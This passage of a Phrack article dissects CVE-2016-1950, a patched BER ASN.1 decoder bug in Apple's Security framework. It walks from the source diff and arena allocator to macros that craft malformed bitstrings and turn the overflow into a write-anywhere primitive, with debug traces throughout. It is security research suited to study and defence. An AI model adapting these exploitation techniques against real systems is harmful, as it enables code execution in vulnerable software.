==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0c of 0x0f

```
|=-----------------------------------------------------------------------=|
|=----------------------=[ The Bear in the Arena ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ xerub ]=------------------------------=|
|=-----------------------------------------------------------------------=|
```

-- Table of contents

-- 0 - Introduction

In this article we set out to analyse an old bug, namely CVE-2016-1950[0]. While the bug was fixed long ago, it is worth dissecting it because of its particularities and potential effects it had before it was patched. The bug was present in the Mozilla NSS (the BER ASN.1 parser to be more specific) a codebase that is also used by iOS/macOS, thereby impacting all applications using the Security framework. We'll walk through some exploit techniques powerful enough to gain code execution in certain daemons.

-- 1 - ASN.1 basics

Abstract Syntax Notation One (ASN.1) is an interface description language used for defining data structures that can be serialised and deserialised in a cross-platform way[1]. It is used in telecommunications and computer networking, cryptography, and other fields.

Let's start with a simple example of ASN.1:

```
    FooProtocol DEFINITIONS ::= BEGIN
        FooQuestion ::= SEQUENCE {
            trackingNumber INTEGER,
            question       IA5String
        }
        FooAnswer ::= SEQUENCE {
            questionNumber INTEGER,
            answer         BOOLEAN
        }
    END
```

And the messages:

```
    myQuestion FooQuestion ::= {
        trackingNumber     5,
        question           "Anybody there?"
    }

    myAnswer FooAnswer ::= {
        questionNumber     5,
        answer           true
    }
```

In order to pass around the actual messages, they have to be encoded by the sender and decoded by the receiver. There exist various types of encodings: DER, BER, XER, CER, PER and so on, but in this article we will focus on BER (Basic Encoding Rules) for reasons that will become apparent later.

-- 1.0 - BER basics

BER is a TLV encoding, aka type-length-value. Each data element is encoded as a Type, followed by a Length, followed by the actual Data and optionally an end-of-content marker.

```
    +------+--------+------+----------------+
    | Type | Length | Data | END (optional) |
    +------+--------+------+----------------+
```

ITU-T X.680 defines the Type:

```
    End-of-Content (EOC)        Primitive                0
    BOOLEAN                     Primitive                1
    INTEGER                     Primitive                2
    BIT STRING                  Primitive/Constructed    3
    ...
    SEQUENCE and SEQUENCE OF    Constructed              16
```

The Type is encoded as an ASN tag. In its simplest form it looks like this:

```
    +----------------+--------------------------------+---------------+
    | Class (2 bits) | Primitive/Constructed (1 bit) | Type (5 bits) |
    +----------------+--------------------------------+---------------+
```

When the type exceeds 5 bits, the tag is encoded a bit differently, but we don't need it for the purpose of this writeup.

For our FooAnswer example, the simplest encoding would be (in hex):

```
    30          is a combination of 0x20 (Constructed) + 0x10 (Sequence)
    06          is the total sequence length
        02      denotes an integer
        01      denotes the length of the integer in bytes
        05      the actual integer value
        01      denotes a boolean
        01      denotes the length of the boolean in bytes
        FF      the actual boolean value (TRUE)
```

It is important to note that BER encoding is quite flexible. For example, we can have a bitstring expressed as a sequence of one or more primitive bitstrings:

```
    23          is a combination of 0x20 (Constructed) + 0x03 (Bit String)
    09          is the total length of the components
        03      denotes a bitstring
        02      the length of the bitstring in bytes, plus 1
        00      number of unused trailing bits at the end of the last byte
        41      the first part of the actual bitstring
        03      denotes a bitstring
        02      the length of the bitstring in bytes, plus 1
        01      number of unused trailing bits at the end of the last byte
        42 42   the second part of the actual bitstring
```

The decoder should merge those bitstrings, resulting in: 010000010100001.

Length can be specified in two ways: indefinite and definite. The former does not encode the length at all, but the content data must finish at EOC. The latter has two forms: short and long. The short form is a single byte in range [0 .. 127]. The long form is expressed as (0x80 + size of length), followed by the actual length in big-endian format. This is not terribly important but such encodings may pop up later in our article.

There are many other examples of BER flexibility, but we will not concern ourselves with those, because they are outside the scope of this article.

DER is very similar to BER, but with all that flexibility removed. Whereas BER has many ways to skin the cat, DER will provide only one, the canonical form. Because ASN.1 parsers tend to become very complex to handle all sorts of obscure BER input, they can become a rich source of bugs.

-- 2 - Enter the bug

For a very long time, security researchers have looked for software bugs using differential analysis, especially when the vendor is vague about the fixed vulnerabilities. Oftentimes, after a security update, it is worth diffing or -- when the source is not available -- bindiffing between the new version and the old one.

Let's take a look at the security content of iOS 9.3 update[0], matching with OS X El Capitan v10.11.4 / Security Update 2016-002. Somewhere down the line, it says:

> Security:
> Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution
> Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation.
> CVE-2016-1950 : Francis Gabriel of Quarkslab

OK, this sounds pretty bad. Or good, depending on the perspective. In this case the sources were available[2], so it was worth enough diffing them:

```
    $ diff -Naurp Security-57337.20.44 Security-57337.40.85
```

Most of the relevant code is in Security-57337.20.44/OSX/libsecurity_asn1/ and something interesting pops up in secasn1d.c.diff:

```
    // If this is a bit string, the length is bits, not bytes.
```

Indeed, the old code looks somewhat fishy:

```
    PORT_Memcpy(item->Data + item->Length, buf, len);
    item->Length += len;
    ... and somewhere down the line...
    item->Length = (item->Length << 3) - state->bit_string_unused_bits;
```

A quick glance tells us the bit vs byte confusion happens at concatenating multiple primitive bitstrings and smells like OOB write. The offset seems to jump geometrically higher and higher in `sec_asn1d_parse_leaf` and it is reachable from:

```
    sec_asn1d_parse_more_bit_string
    SEC_ASN1DecoderUpdate
    SEC_ASN1Decode
    SecAsn1Decode
```

-- 2.0 - The allocator

The decoder has its own memory allocator, an Arena Allocator[3], designed to be simple and fast. Introduced by Douglas T. Ross around 1967, it was later demonstrated by Hanson in 1990 that Arenas are the fastest memory management solution.

In its simplest form, an Arena Allocator cuts consecutive slices from a big block of memory, which was previously requested from the Operating System. These blocks are considered "large" by the system allocator, and therefore happen to be aligned to at least 256 bytes. When the current Arena block is exhausted a new block is requested from the OS and the process is repeated. Usually the memory is freed all-at-once, if at all.

The ASN.1 decoder allocates memory via `sec_asn1d_[z]alloc` which calls `PORT_ArenaAlloc` in secport.c, which in turn calls `PL_ARENA_ALLOCATE` in plarena.h

The freeing is done by `PORT_FreeArena` which calls `PL_CLEAR_ARENA` macro for each linked Arena. It was supposed to nuke the memory contents, but in Release mode it does nothing, which allows us to get away without crashing after we start manipulating the Arena meta-data. OK, that was a spoiler...

The memory manager consists of two pools, each pool containing a linked list of Arenas. `our_pool` holds arenas for state objects and temporary storage, and `their_pool` keeps the destination structures. Each Arena is being defined by the following structure:

```
    struct PLArena {
        PLArena     *next; /* next arena for this lifetime */
        PRUword     base;  /* aligned base address, follows this header */
        PRUword     limit; /* one beyond last byte in arena */
        PRUword     avail; /* points to next available byte */
    };
```

Which is laid out in memory:

```
               +------------------+
               |                  v
    +------+------+-------+-------+-------------------+
    | next | base | limit | avail | ... USED|FREE ... |
    +------+------+-------+-------+-------------------+
                      |       |             ^         ^
                      |       +-------------+         |
                      +-------------------------------+
```

After one `PORT_ArenaAlloc`, avail moves toward the limit:

```
    +------+------+-------+-------+-------------------+
    | next | base | limit | avail | ... USED ...|FREE |
    +------+------+-------+-------+-------------------+
                      |       |                 ^     ^
                      |       +-----------------+     |
                      +-------------------------------+
```

When an Arena is exhausted, a new one is linked in and the process repeats. At any given time, we are guaranteed that the next allocation will happen between `avail` and `limit`.

-- 2.1 - The state machine

As it turns out, we can build libasn1.dylib from the published sources: we change to Security-57337.20.44/OSX/libsecurity_asn1/ and, after a bit of plumbing, we can finally type "make". This allows us to instrument/debug the library and visualise the allocations, the state transitions, etc. Our business is in Security-57337.20.44/OSX/libsecurity_asn1/secasn1d.c, please keep an eye on it, there will be a lot of code snippets as we move forward.

Let's investigate how the ASN.1 parsing really works. The decoder is driven by the so-called templates, which define a decoding schema for the expected input. For example, when decoding a signed X.509 certificate, it will use `kSecAsn1SignedCertTemplate`. A template may contain various subtemplates: `kSecAsn1TBSCertificateTemplate`, `kSecAsn1AlgorithmIDTemplate` and so on. This mechanism makes sure the elements come in the required order and the parsing stops if the consumed element does not match the expected type:

```
    Template (expected)         Input data (actual)
        Element type    <==+==>         Element
                           v
        Element type    <==+==>         Element
                           v
        Element type    <==+==>         Element
                           X
        Element type    <==!==>         Wrong element
```

The state of the currently parsed element is kept in `sec_asn1d_state`, a structure containing various flags, sub-items and a pointer to the current template -- this will become important a bit later. The state object looks like this:

```
    typedef struct sec_asn1d_state_struct {
        SEC_ASN1DecoderContext *top;
        const SecAsn1Template *theTemplate;
        void *dest; // SecAsn1Item *item
        ...
        struct sec_asn1d_state_struct *parent;
        ...
        unsigned int bit_string_unused_bits;
        struct subitem *subitems_head;
        struct subitem *subitems_tail;
        ...
    } sec_asn1d_state;
```

Small note: during this writeup, `item` will always refer to `state->dest` and may be used interchangeably hereinafter.

The ASN.1 parser consumes the input, allocating memory as it goes. For each element, a state object and the actual data are laid down in memory inside whatever Arena is active at that given point.

```
    +------+------+-------+-------+-----------------------------------+
    | next | base | limit | avail | STATE, DATA, STATE, DATA ...|FREE |
    +------+------+-------+-------+-----------------------------------+
                      |       |                                 ^     ^
                      |       +---------------------------------+     |
                      +-----------------------------------------------+
```

Now we can build a simple example, a constructed bitstring composed of two primitive bitstrings:

```
    len = 256;

    CONS_BITSTRING(len);
        REP_BITSTRING(0, 10, 'a');

    if (len) {
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

The above pseudo-code will generate:

```
    23          constructed bitstring
    82 01 00    length (2 byte long form): 0x100 bytes
        03      primitive bitstring
        0B      length: 11 bytes, including the unused bits specifier
        00      number of unused bits, trailing at the end of the last byte
        "aaaaaaaaaa"
        03      primitive bitstring
        81 F0   length (1 byte long form): 240 bytes
        00      number of unused bits, trailing at the end of the last byte
        "zzz..."
```

Which can be decoded with the following call to libasn1.dylib:

```
    SecAsn1Decode(input, input_size, kSecAsn1BitStringTemplate, &output);
```

We get this:

```
    new ARENA -> o_pool/0x7fab29003020 of size 2087
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fab29003070 in arena
    o_pool/0x7fab29003020 (left 1831)
    new ARENA -> t_pool/0x7fab29000020 of size 1063
    sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7fab29000020 in arena
    t_pool/0x7fab29000020 (left 775)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fab29003100 in arena
    o_pool/0x7fab29003020 (left 1687)
    STATE transition 0x7fab29003070 -> 0x7fab29003100
    sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 0 = 0x7fab29000020,
    "6161616161616161", 10)   <-- [A]
    adjusting item->len (10) to 80,
    unused=0x0                                                  <-- [B]
    STATE transition 0x7fab29003100 -> 0x7fab29003070
    STATE transition 0x7fab29003070 -> 0x7fab29003100
    sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 80 = 0x7fab29000070,
    "7a7a7a7a7a7a7a7a", 239) <-- [C]
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (319) to 2552, unused=0x0
    STATE transition 0x7fab29003100 -> 0x7fab29003070
    STATE transition 0x7fab29003070 -> 0x0
```

`zalloc(144)` is allocating a new state object. `zalloc(256)` is allocating space for the bitstring itself. And we observe the two memcpy:

```
    memcpy(0x7fab29000020 + 0 = 0x7fab29000020, "6161616161616161", 10)   // the 1st
    memcpy: [A]
    memcpy(0x7fab29000020 + 80 = 0x7fab29000070, "7a7a7a7a7a7a7a7a", 239) // the 2nd
    memcpy: [C]
```

That is, the state machine is concatenating the two primitive bitstrings to create the final constructed bitstring. But the bitstring pieces should be adjacent, yet they are not, because:

```
    PORT_Memcpy(item->Data + item->Length, buf, len);
    item->Length += len;
    ...
    item->Length = (item->Length << 3) - state->bit_string_unused_bits;
```

At each concatenation, `item->Length` is used as an offset and then it is updated, growing exponentially higher by roughly a factor of 8, as seen above at [B].

The good news is that the overflow works. The bad news is that the memcpy happens in `their_pool` Arena, whereas the state objects are allocated in `our_pool` Arena. This is not great, since it may be difficult to massage `their_pool` Arenas and -- even if we pull it off -- there may be nothing interesting there. We want `our_pool` Arenas, because that's where the state objects are.

-- 2.2 - The subtle flaw

By carefully analysing the state machine for whatever ways of switching to `our_pool`, we notice a weird thing in `sec_asn1d_parse_bit_string`:

```
    if ((state->pending == 0) || (state->contents_length == 1)) {
        if (state->dest != NULL) {
            SecAsn1Item *item = (SecAsn1Item *)(state->dest);
            item->Data = NULL; // <-- [D]
            item->Length = 0;
            state->place = beforeEndOfContents;
        }
        if (state->contents_length == 1) {
            /* skip over (unused) remainder byte */
            return 1;
        } else {
            return 0;
        }
    }
```

It looks like a shortcut for empty primitive strings. It essentially nukes the destination item and switches to `beforeEndOfContents`. It looks almost legit, except it is throwing away the old `item->Data` by setting it to NULL, as seen at [D]. Then, when the next bitstring component arrives, `sec_asn1d_prepare_for_contents` sees that `item` is nuked and allocates it anew, but this time in `our_pool`. The allocation size is fit to accomodate the last length that was parsed.

And here things start to become interesting. A constructed bitstring has a total length and then each component has its own length (all of these must sum up to the total). If we enter `sec_asn1d_prepare_for_contents` right after the shortcut, the parser must have already parsed the next component and the last parsed length will be of that component, which is smaller than the total. What we just achieved was to throw away the good `item->Data` (sized for the grand total) and replace it with a new `item->Data` (sized for the next component after the shortcut). If the shortcut didn't exist, then `sec_asn1d_prepare_for_contents` would have not allocated `item->Data` again, and the size of the allocation would have remained fit for the grand total. This is a bug in its own right, but more on that later...

The switch to `our_pool` was our goal, and we got it:

```
    alloc_len = state->contents_length;
    ...
    if (item == NULL || state->top->filter_only) {
        ...
    } else if (state->substring) {
        /*
         * If we are a substring of a constructed string, then we may
         * not have to allocate anything (because our parent, the
         * actual constructed string, did it for us).  If we are a
         * substring and we *do* have to allocate, that means our
         * parent is an indefinite-length, so we allocate from our pool;
         * later our parent will copy our string into the aggregated
         * whole and free our pool allocation.
         */
        if (item->Data == NULL) {
            PORT_Assert (item->Length == 0);
            poolp = state->top->our_pool;
        } else {
            alloc_len = 0;
        }
    } else {
        ...
    }

    if (alloc_len || ...) {
        ...
        if (item) {
            item->Data = (unsigned char*)sec_asn1d_zalloc (poolp, alloc_len);
        }
        ...
    }
```

Let's try again, forcing the switch to `our_pool` by introducing an empty bitstring aka the shortcut aka the breaker aka the key to the kingdom:

```
    CONS_BITSTRING(len);           // item->Data is a block of size=len in their_pool
        START_BITSTRING(0, 0);     // nuke item->Data
        REP_BITSTRING(0, 10, 'a'); // new item->Data is a block of size=10+1 in our_pool

    if (len) {
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

```
    new ARENA -> o_pool/0x7f84fc803020 of size 2087
    sec_asn1d_push_state:429: zalloc(144) -> 0x7f84fc803070 in arena
    o_pool/0x7f84fc803020 (left 1831)
    new ARENA -> t_pool/0x7f84fc800020 of size 1063
    sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7f84fc800020 in arena
    t_pool/0x7f84fc800020 (left 775)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7f84fc803100 in arena
    o_pool/0x7f84fc803020 (left 1687)
    STATE transition 0x7f84fc803070 -> 0x7f84fc803100
    STATE transition 0x7f84fc803100 -> 0x7f84fc803070
    STATE transition 0x7f84fc803070 -> 0x7f84fc803100
    sec_asn1d_prepare_for_contents:1458: zalloc(11) -> 0x7f84fc803190 in arena
    o_pool/0x7f84fc803020 (left 1671)
    sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 0 = 0x7f84fc803190,
    "6161616161616161", 10)
    adjusting item->len (10) to 80, unused=0x0
    STATE transition 0x7f84fc803100 -> 0x7f84fc803070
    STATE transition 0x7f84fc803070 -> 0x7f84fc803100
    sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 80 = 0x7f84fc8031e0,
    "7a7a7a7a7a7a7a7a", 236)
    adjusting item->len (316) to 2528, unused=0x0
    STATE transition 0x7f84fc803100 -> 0x7f84fc803070
    STATE transition 0x7f84fc803070 -> 0x0
```

`sec_asn1d_zalloc(11)` is allocating a temporary buffer of size 10+1.

The parser creates a temporary buffer, which resides in `our_pool`, and it is using it to agglutinate the complete bitstring. But this buffer is only sized for the first part -- the 'a' part of size 10+1 -- and therefore it is much smaller than it should be. Remember that `our_pool` is a list of Arenas holding either state objects or temporary input data:

```
                                                 "aaaaaaaaaa"   "zzz..."
    +-------------+-------+-------+---------------------------------------+
    | next | base | limit | avail | STATE, STATE, TEMPORARY |FREE...      |
    +-------------+-------+-------+---------------------------------------+
                      |       |                             ^             ^
                      |       +-----------------------------+             |
                      +---------------------------------------------------+
```

Let's try again, but force another state object allocation after our short buffer which gets overflowed. We insert a nested constructed bitstring and see what happens. Yes, BER allows it. Yes, it is really that bad...

```
    CONS_BITSTRING(len);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 10);
            REP_BITSTRING(0, 10, 'a');

    if (len) {
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

```
    new ARENA -> o_pool/0x7f91f3803020 of size 2087
    sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f3803070 in arena
    o_pool/0x7f91f3803020 (left 1831)
    new ARENA -> t_pool/0x7f91f3800020 of size 1063
    sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7f91f3800020 in arena
    t_pool/0x7f91f3800020 (left 775)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f3803100 in arena
    o_pool/0x7f91f3803020 (left 1687)
    STATE transition 0x7f91f3803070 -> 0x7f91f3803100
    STATE transition 0x7f91f3803100 -> 0x7f91f3803070
    STATE transition 0x7f91f3803070 -> 0x7f91f3803100
    sec_asn1d_prepare_for_contents:1458: zalloc(13) -> 0x7f91f3803190 in arena
    o_pool/0x7f91f3803020 (left 1671)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f38031a0 in arena
    o_pool/0x7f91f3803020 (left 1527)
    STATE transition 0x7f91f3803100 -> 0x7f91f38031a0
    sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 0 = 0x7f91f3803190,
    "6161616161616161", 10)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (10) to 80, unused=0x0
    STATE transition 0x7f91f38031a0 -> 0x7f91f3803100
    STATE transition 0x7f91f3803100 -> 0x7f91f3803070
    STATE transition 0x7f91f3803070 -> 0x7f91f3803100
    sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 80 = 0x7f91f38031e0,
    "7a7a7a7a7a7a7a7a", 234)
    sec_asn1d_parse_leaf: pre-existing value = 0x3
    adjusting item->len (314) to 2512, unused=0x0
    STATE transition 0x7f91f3803100 -> 0x7f91f3803070
    STATE transition 0x7f91f3803070 -> 0x0
```

It is pretty obvious that we can overwrite the state object of the nested constructed bitstring.

```
                                                 "aaaaaaaaaa"   "zzz..."
    +-------------+-------+-------+---------------------------------------+
    | next | base | limit | avail | STATE, STATE, TEMPORARY, STATE|FREE...|
    +-------------+-------+-------+---------------------------------------+
                      |       |                                   ^       ^
                      |       +-----------------------------------+       |
                      +---------------------------------------------------+
```

However, by the time the second string gets copied, the nested state object is abandoned, and nothing happens. We deduce the actual smash must happen inside the nested constructed bitstring:

```
    CONS_BITSTRING(len);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 10 + 3 + 64);
            REP_BITSTRING(0, 10, 'a');
            REP_BITSTRING(0, 64, 'b'); // smashes the active state object

    if (len) {
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }

    new ARENA -> o_pool/0x7fa27d003020 of size 2087
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d003070 in arena
    o_pool/0x7fa27d003020 (left 1831)
    new ARENA -> t_pool/0x7fa27d000020 of size 1063
    sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7fa27d000020 in arena
    t_pool/0x7fa27d000020 (left 775)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d003100 in arena
    o_pool/0x7fa27d003020 (left 1687)
    STATE transition 0x7fa27d003070 -> 0x7fa27d003100
    STATE transition 0x7fa27d003100 -> 0x7fa27d003070
    STATE transition 0x7fa27d003070 -> 0x7fa27d003100
    sec_asn1d_prepare_for_contents:1458: zalloc(80) -> 0x7fa27d003190 in arena
    o_pool/0x7fa27d003020 (left 1607)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d0031e0 in arena
    o_pool/0x7fa27d003020 (left 1463)
    STATE transition 0x7fa27d003100 -> 0x7fa27d0031e0
    sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 0 = 0x7fa27d003190,
    "6161616161616161", 10)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (10) to 80, unused=0x0
    STATE transition 0x7fa27d0031e0 -> 0x7fa27d003100
    STATE transition 0x7fa27d003100 -> 0x7fa27d0031e0
    sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 80 = 0x7fa27d0031e0,
    "6262626262626262", 64)
    sec_asn1d_parse_leaf: pre-existing value = 0x7fa27d003020
    <CRASH>
```

Great! We can now smash an active state object while it is being accessed.

-- 2.3 - The strategy

Looking at the `sec_asn1d_state` structure, we realise there are many flags that we can smash, which may or may not confuse the ASN.1 parser state machine. And there are many pointers which we can do partial overwrites on, which has the effect of moving them to another controlled area inside the current Arena. However tempting is to try all of these, we realise there is a low-hanging fruit in there. Recall how the overwrite offset is computed:

```
    item->Length += len;
    ...
    item->Length = (item->Length << 3) - state->bit_string_unused_bits;
```

By making the `bit_string_unused_bits` large, we can have `item->Length` going negative. This has the effect of having `item->Data + item->Length` pointing somewhere to a smaller address, which can be used to smash other state objects, allocated previously. But then, we end up with the same problem, and then we'd have to figure out what state field to smash again.

A better target is to smash the Arena structure itself. This is a meta-data attack. It works because the allocations inside an Arena are predictable by design. In fact, we know our bitstrings will always be laid out at the same distance from the start of the active Arena, for a given input.

```
                                                  +---+
                                       "aaaaaaaaaa"   v
    +------+------+-------+-------+-------------------------------+
    | next | base | limit | avail | ... TEMPORARY, STATE|FREE ... |
    +------+------+-------+-------+-------------------------------+
                  ^                                   |
                  +---------------------------- dest -+
```

After we do this, we trigger another allocation, with another bitstring. If we get it right we can manipulate Arena `limit/avail`, effectively gaining an allocate-anywhere primitive. And if we follow up with another bitstring, we have gained a write-anywhere primitive.

```
    CONS_BITSTRING(len);
        START_BITSTRING(0, 0);
        CONS_BITSTRING(3 + 19 + 3 + 4);
            REP_BITSTRING(4, 19, 'a'); // filler
            START_BITSTRING(0, 4); // smash bit_string_unused_bits
                PUSH4((19 * 8 - 4 + 4) * 8 + (0x3190 - 0x3020) + 2*8);

        START_BITSTRING(0, 16); // smash the Arena
            PUSH8(0x4141414141414140 + 16); // limit
            PUSH8(0x4141414141414140); // avail

        START_BITSTRING(0, 0); // trigger new allocation
            REP_BITSTRING(0, 1, 'b'); // trigger new memcpy over allocation

    if (len) {
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

If the above seems somewhat confusing, refer to "openssl asn1parse" output:

```
     0:d=0  hl=4 l= 256 cons: BIT STRING
     4:d=1  hl=2 l=   1 prim:  BIT STRING  // break, trigger allocation
     7:d=1  hl=2 l=  29 cons:  BIT STRING
     9:d=2  hl=2 l=  20 prim:   BIT STRING // filler: "aaa..."
    31:d=2  hl=2 l=   5 prim:   BIT STRING // bit_string_unused_bits
    38:d=1  hl=2 l=  17 prim:  BIT STRING  // destination: Arena limit/avail
    57:d=1  hl=2 l=   1 prim:  BIT STRING  // break, trigger fake alloc
    60:d=1  hl=2 l=   2 prim:  BIT STRING  // write value: "b"
    64:d=1  hl=3 l= 193 prim:  BIT STRING  // remainder "zzz..."
```

```
    new ARENA -> o_pool/0x7ffe62803020 of size 2087
    sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe62803070 in arena
    o_pool/0x7ffe62803020 (left 1831)
    new ARENA -> t_pool/0x7ffe62800020 of size 1063
    sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7ffe62800020 in arena
    t_pool/0x7ffe62800020 (left 775)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe62803100 in arena
    o_pool/0x7ffe62803020 (left 1687)
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    sec_asn1d_prepare_for_contents:1458: zalloc(29) -> 0x7ffe62803190 in arena
    o_pool/0x7ffe62803020 (left 1655)
    sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe628031b0 in arena
    o_pool/0x7ffe62803020 (left 1511)
    STATE transition 0x7ffe62803100 -> 0x7ffe628031b0
    sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 0 = 0x7ffe62803190,
    "6161616161616161", 19)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (19) to 148, unused=0x4
    STATE transition 0x7ffe628031b0 -> 0x7ffe62803100
    STATE transition 0x7ffe62803100 -> 0x7ffe628031b0
    sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 148 = 0x7ffe62803224, "640", 4)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (152) to 18446744073709551232, unused=0x640
    STATE transition 0x7ffe628031b0 -> 0x7ffe62803100
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 18446744073709551232 =
    0x7ffe62803010, "4141414141414150", 16)
    sec_asn1d_parse_leaf: pre-existing value = 0x7ffe62803827
    adjusting item->len (18446744073709551248) to 18446744073709548672, unused=0x0
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    sec_asn1d_prepare_for_contents:1458: zalloc(2) -> 0x4141414141414140 in arena
    o_pool/0x0 (left -1)
    sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 0 = 0x4141414141414140, "62", 1)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (1) to 8, unused=0x0
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x7ffe62803100
    sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 8 = 0x4141414141414148,
    "7a7a7a7a7a7a7a7a", 192)
    sec_asn1d_parse_leaf: pre-existing value = 0x0
    adjusting item->len (200) to 1600, unused=0x0
    STATE transition 0x7ffe62803100 -> 0x7ffe62803070
    STATE transition 0x7ffe62803070 -> 0x0
```

We got our write-anywhere:

```
    memcpy(0x4141414141414140 + 0, "62", 1)
```

but apparently the remainder of the string is also written somewhere around that address. We will address this issue momentarily (pun intended).

First, let's explain our contraption above. There are two magic values in our bitstring: the value with which to overwrite `bit_string_unused_bits`, and the length of the filler. The former is given by the offset of the temporary buffer inside our current Arena. It does vary depending on what elements have been processed before our bitstring, but for a given input it is considered constant:

```
    D = 0x7fb191003190 - 0x7fb191003020 // actual values do not matter
```

The latter can be calculated with the following formula:

```
    K = (116=offsetof(sec_asn1d_state, bit_string_unused_bits) +
         round8(K + 10) + 4=bit_string_unused_bits) / 8
```

We find that K=19 satisfies the equation and it is a constant allowing us to reach `state->bit_string_unused_bits`. Now we can sum up all the above into a write-anywhere primitive:

```
    #define MAKE_ARENA64(filler, arena_used, lower_bound, upper_bound) \
    do { \
        CONS_BITSTRING(10 + 19); \
            REP_BITSTRING(4, 19, filler); \
            \
            START_BITSTRING(0, 4); \
            PUSH4((19 * 8 - 4 + 4) * 8 + (arena_used) + 2*8); \
        \
        START_BITSTRING(0, 16); \
            PUSH8(upper_bound); \
            PUSH8(lower_bound); \
    } while (0)

    #define WRITE64(clean, x) \
    do { \
        START_BITSTRING(0, 0); \
        if (clean) { \
            START_BITSTRING(7, 1); \
                PUSH1(x); \
            START_BITSTRING(0, 7); \
                PUSH7((x) >> 8); \
        } else { \
            START_BITSTRING(0, 8); \
                PUSH8(x); \
        } \
    } while (0)
```

And finally, our code looks like this:

```
    CONS_BITSTRING(len);
        START_BITSTRING(0, 0); // break

        MAKE_ARENA64('a', 0x3190 - 0x3020, 0x4141414141414140, 0x4141414141414150);

        WRITE64(0, 0x4242424242424242); // break & write

    if (len) {
        START_BITSTRING(0, 0); // break for clean exit
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

It essentially translates to:

```
    memset(0x4141414141414140, 0, sizeof(0x4242424242424242) + 1);
    *(uint64_t *)0x4141414141414140 = 0x4242424242424242;
```

You will notice there are 3 breakers. One just before hijacking the current Arena. Another one inside the arbitrary write, and the last one just before the remainder of the string. The last one makes sure further ASN.1 parsing resumes in a normal way, without even crashing. This is possible because we designed our fake Arena as small as possible, just enough to accommodate one write; any further allocs will link in new legit Arenas.

To sum it up, we smash a state object to manipulate the current Arena. This will coerce `sec_asn1d_zalloc` into returning the address we want, and make this fake Arena look exhausted after one write. Then we just copy our value at the aforementioned address. There is one minor inconvenience though: the destination address is subject to a zeroing step, which goes one byte past our write size. In order to fix the bleeding, we have to do a multi-stage write (WRITE64 has a parameter to correct this automatically if needed):

```
    // write n bytes
    START_BITSTRING(0, 0); // break
    START_BITSTRING(7, 1); // sec_asn1d_zalloc, then memset(dest, 0, 1 + 1)
        PUSH1(first); // write first byte. item->Length = (0 + 1) * 8 - 7
    START_BITSTRING(0, n);
        PUSHB(next); // next bytes get written at offset +1
```

And finally, we can do as many writes as we want, by repeating the process:

```
    CONS_BITSTRING(len);
        START_BITSTRING(0, 0);

        MAKE_ARENA64('a', 0x3190 - 0x3020, 0x4141414141414140, 0x4141414141414140 + 16);

        WRITE64(0, 0x4242424242424242);

        START_BITSTRING(0, 0);

        MAKE_ARENA64('a', 0, 0x4343434343434340, 0x4343434343434340 + 16);

        WRITE64(0, 0x4444444444444444);

    if (len) {
        START_BITSTRING(0, 0);
        START_BITSTRING(0, len - 1);
        while (len) {
            PUSH1('z');
        }
    }
```

Which translate into:

```
    *(uint64_t *)0x4141414141414140 = 0x4242424242424242;
